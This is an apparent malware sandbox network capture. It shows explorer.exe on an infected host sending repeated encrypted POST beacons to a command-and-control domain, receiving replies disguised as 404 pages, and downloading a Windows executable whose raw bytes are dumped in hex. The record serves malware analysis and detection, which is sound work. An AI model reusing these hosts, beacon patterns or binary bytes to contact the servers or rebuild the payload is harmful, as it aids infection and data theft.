Nov 9, 2021 22:20:48.773768902 CET	1212	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 26 94 9d 08 Data Ascii: `K2wF0Gj[lwmwu$f]d&IQ.s@8E_]zXcK\>1\|&_}^e-qedpy.)2qJ$Ly3~Es;{1%aFx>I
Nov 9, 2021 22:20:49.752573013 CET	1212	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:20:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 18 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49881	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:03.488976002 CET	11320	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rvlwdspfo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 182 Host: nalirou70.top
Nov 9, 2021 22:22:03.489022017 CET	11320	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 90 66 5d 02 c9 a1 c1 64 2f c2 cd 65 Data Ascii: `K2wF0Gj[lwmwu$f]d/evykj1G<(J}n%Tu,mK<G&:)5e-W)YJ.Qw"2d\|vBR
Nov 9, 2021 22:22:04.466861963 CET	11321	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49882	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:04.794352055 CET	11322	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kcurrvlwmx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: nalirou70.top
Nov 9, 2021 22:22:04.794368982 CET	11322	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 32 d4 85 20 Data Ascii: `K2wF0Gj[lwmwu$f]d2 ]cWRGS"~[8u*Vk?{NPB3lrUW-2SU#'Q9&K;%k(m9Q\xe\|q &e`W,%jT`xQ$
Nov 9, 2021 22:22:05.783566952 CET	11323	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49884	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:06.118443966 CET	11324	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ykpbkuficw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 274 Host: nalirou70.top
Nov 9, 2021 22:22:06.118525982 CET	11324	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 1f a9 a5 0d Data Ascii: `K2wF0Gj[lwmwu$f]dXf9w0E~?^f#,Bdt1V.5wW)d?AlMRE,,#ARI1z7\|>RRR])S3eKFp!eXyM-7z1FlV2^?
Nov 9, 2021 22:22:07.083628893 CET	11325	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49885	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:07.410958052 CET	11326	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bfwrlwg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 179 Host: nalirou70.top
Nov 9, 2021 22:22:07.410968065 CET	11326	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 1b bf aa 24 Data Ascii: `K2wF0Gj[lwmwu$f]d$*W&LNN4E4qD]VC;fD+_!em`))Ap~\AKYAzzA;
Nov 9, 2021 22:22:08.415822029 CET	11327	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49886	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:08.753948927 CET	11328	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://umqsuuguwn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 364 Host: nalirou70.top
Nov 9, 2021 22:22:08.753990889 CET	11328	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 17 91 9c 2c Data Ascii: `K2wF0Gj[lwmwu$f]d,Z5DG2MG{aLi8Oyt^#Qt>AG~Bp4FkFM@}n+$l(a8\|_KMsN#Bc:Q\|\|~zvWK2\\`n16
Nov 9, 2021 22:22:09.729840994 CET	11329	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 02 47 e5 aa e3 1e bb 52 df 41 d1 ff 27 87 21 80 a5 9a 52 2e f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eGRA'!R.~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49887	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:10.497035027 CET	11329	OUT	GET /files/7993_1636371023_9825.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-host-file6.com
Nov 9, 2021 22:22:11.359823942 CET	11331	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:22:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Mon, 08 Nov 2021 11:30:23 GMT ETag: "ad600-5d04551962fd0" Accept-Ranges: bytes Content-Length: 710144 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 e6 07 c1 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1e 08 00 00 42 03 00 00 00 00 00 cc 1e 00 00 00 10 00 00 00 30 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0b 00 00 04 00 00 ba a1 0b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 62 08 00 3c 00 00 00 00 00 09 00 b0 5f 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 31 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 4e 08 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 08 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1d 08 00 00 10 00 00 00 1e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 3a 00 00 00 30 08 00 00 3c 00 00 00 22 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 8e 00 00 00 70 08 00 00 18 00 00 00 5e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 5f 02 00 00 00 09 00 00 60 02 00 00 76 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL^B0@`Tb<_1(N@0l.text` `.rdata:0<"@@.datap^@.rsrc_`v@@
Nov 9, 2021 22:22:11.359862089 CET	11332	IN	Data Raw: c1 e0 04 89 01 c3 55 8b ec 83 ec 0c 83 3d 6c d9 48 00 03 56 8b f0 75 1a 8d 4d fc 51 8d 4d f8 51 33 c0 8d 4d f4 51 50 50 50 89 45 fc ff 15 10 30 48 00 33 75 0c 8b 45 08 89 30 5e c9 c2 08 00 33 44 24 04 c2 04 00 81 00 ae 36 ef c6 c3 01 08 c3 55 8b Data Ascii: U=lHVuMQMQ3MQPPPE0H3uE0^3D$6UE(SV03=lHWxuS0HSSShHLHhLHSp0HH]HEEEy7Er=lHu-h(MHP\|0HEP0HjjP,0HHE
Nov 9, 2021 22:22:11.359879017 CET	11334	IN	Data Raw: 5d c3 8b ff 55 8b ec 51 83 65 fc 00 56 8d 45 fc 50 ff 75 0c ff 75 08 e8 d8 0e 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 7c 0e 00 00 85 c0 74 0a e8 73 0e 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 53 8b 5d 08 83 fb e0 77 6f 56 57 Data Ascii: ]UQeVEPuuu9Et\|tsM^US]woVW=Huj h0YYt3@Pj5H0Hu&j^9HtSYu00_^SY3[]UQSV50HW5H5H
Nov 9, 2021 22:22:11.359898090 CET	11335	IN	Data Raw: 75 a8 3b c6 74 19 83 f8 fe 74 14 8b c8 c1 f9 05 83 e0 1f c1 e0 06 03 04 8d 80 ed 48 00 eb 05 b8 10 74 48 00 f6 40 24 80 75 80 e8 5c 12 00 00 03 c3 50 6a 01 e8 6a 13 00 00 59 59 83 65 fc 00 e8 47 12 00 00 03 c3 50 e8 f4 13 00 00 8b f8 ff 75 08 e8 Data Ascii: u;ttHtH@$u\PjjYYeGPu(.PVju&;u/H$xH @ Pj%YYePW-YYEEj [Pj9YYUVuFu
Nov 9, 2021 22:22:11.359915018 CET	11336	IN	Data Raw: 00 00 80 8d 38 fd ff ff 03 e8 97 00 00 00 5b c9 c3 d9 c9 dd 95 7a ff ff ff d9 c9 dd 55 82 eb dd 55 8b ec 81 c4 30 fd ff ff 53 9b d9 bd 5c ff ff ff 83 3d 18 7e 48 00 00 74 1b e8 f3 31 00 00 80 8d 38 fd ff ff 01 80 a5 38 fd ff ff fd e8 53 00 00 00 Data Ascii: 8[zUU0S\=~Ht188S[zU0Suuuu\82[8=HuO0pt<t[<t?t3rf\f uf tr
Nov 9, 2021 22:22:11.359931946 CET	11338	IN	Data Raw: 59 ff 75 08 ff 15 b8 30 48 00 cc 6a 08 e8 7a 32 00 00 59 c3 6a 08 e8 98 31 00 00 59 c3 8b ff 56 e8 b9 27 00 00 8b f0 56 e8 b2 04 00 00 56 e8 ee fc ff ff 56 e8 e4 34 00 00 56 e8 cf 34 00 00 56 e8 c4 32 00 00 56 e8 ad 32 00 00 83 c4 18 5e c3 8b ff Data Ascii: Yu0Hjz2Yj1YV'VVV4V4V2V2^UVu3ut;ur^]U==Hth=H\5Ytu=HY4h1Hht1HYYuTVWhL@l1Hp1HY;st;r=H_^thH
Nov 9, 2021 22:22:11.359954119 CET	11339	IN	Data Raw: 30 48 00 8d 86 e8 03 00 00 3b 05 bc 8c 48 00 76 03 83 c8 ff 8b f0 83 f8 ff 75 ca 8b c7 5f 5e 5d c3 8b ff 55 8b ec 56 57 33 f6 6a 00 ff 75 0c ff 75 08 e8 d5 f9 ff ff 8b f8 83 c4 0c 85 ff 75 27 39 05 bc 8c 48 00 76 1f 56 ff 15 cc 30 48 00 8d 86 e8 Data Ascii: 0H;Hvu_^]UVW3juuu'9HvV0H;Hvu_^]UVW3uuT4YYu,9Et'9HvV0H;Hvu_^]U}u]uj5H0H]hp+@
Nov 9, 2021 22:22:11.359972000 CET	11340	IN	Data Raw: 8b 75 0c f7 46 0c 00 10 00 00 74 19 56 e8 ed 13 00 00 81 66 0c ff ee ff ff 83 66 18 00 83 26 00 83 66 08 00 59 5e 5d c3 8b ff 55 8b ec 8b 45 08 56 8b f1 c6 46 0c 00 85 c0 75 63 e8 da 1e 00 00 89 46 08 8b 48 6c 89 0e 8b 48 68 89 4e 04 8b 0e 3b 0d Data Ascii: uFtVff&fY^]UEVFucFHlHhN;(}HtzHHpu;F;yHtFzHHpu34FF@puHpF@F^]A@tyt$IxQPYYuUQSV
Nov 9, 2021 22:22:11.359987974 CET	11342	IN	Data Raw: 83 f8 53 0f 8f f2 00 00 00 0f 84 80 00 00 00 83 e8 41 74 10 48 48 74 58 48 48 74 08 48 48 0f 85 8c 05 00 00 80 c2 20 c7 85 94 fd ff ff 01 00 00 00 88 95 ef fd ff ff 83 8d f0 fd ff ff 40 8d bd f4 fd ff ff b8 00 02 00 00 89 bd e4 fd ff ff 89 85 9c Data Ascii: SAtHHtXHHtHH @9H00uu[;utH
Nov 9, 2021 22:22:11.360001087 CET	11343	IN	Data Raw: ff ff 00 02 00 00 89 85 e0 fd ff ff 89 b5 e4 fd ff ff 74 62 85 c0 74 07 8b ce 80 39 30 74 57 ff 8d e4 fd ff ff 8b 8d e4 fd ff ff c6 01 30 40 eb 3f 49 66 39 30 74 07 83 c0 02 3b ce 75 f3 2b 85 e4 fd ff ff d1 f8 eb 28 3b de 75 0b a1 00 74 48 00 89 Data Ascii: tbt90tW0@?If90t;u+(;utHI8t@;u+}@t2t-t+t ++u'~! OF
Nov 9, 2021 22:22:11.663558960 CET	11345	IN	Data Raw: 06 8d 44 30 04 80 20 fd 8b c7 5f 5e 5d c3 6a 10 68 00 60 48 00 e8 ec eb ff ff 8b 5d 08 83 fb fe 75 1b e8 c7 e4 ff ff 83 20 00 e8 ac e4 ff ff c7 00 09 00 00 00 83 c8 ff e9 94 00 00 00 85 db 78 08 3b 1d 6c ed 48 00 72 1a e8 a0 e4 ff ff 83 20 00 e8 Data Ascii: D0 _^]jh`H]u x;lHr (<HD0tS/YeD0tuuSE+3 MEEu]S0YUEu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49780	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:20:50.087435007 CET	1213	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xyauqxpv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 319 Host: nalirou70.top
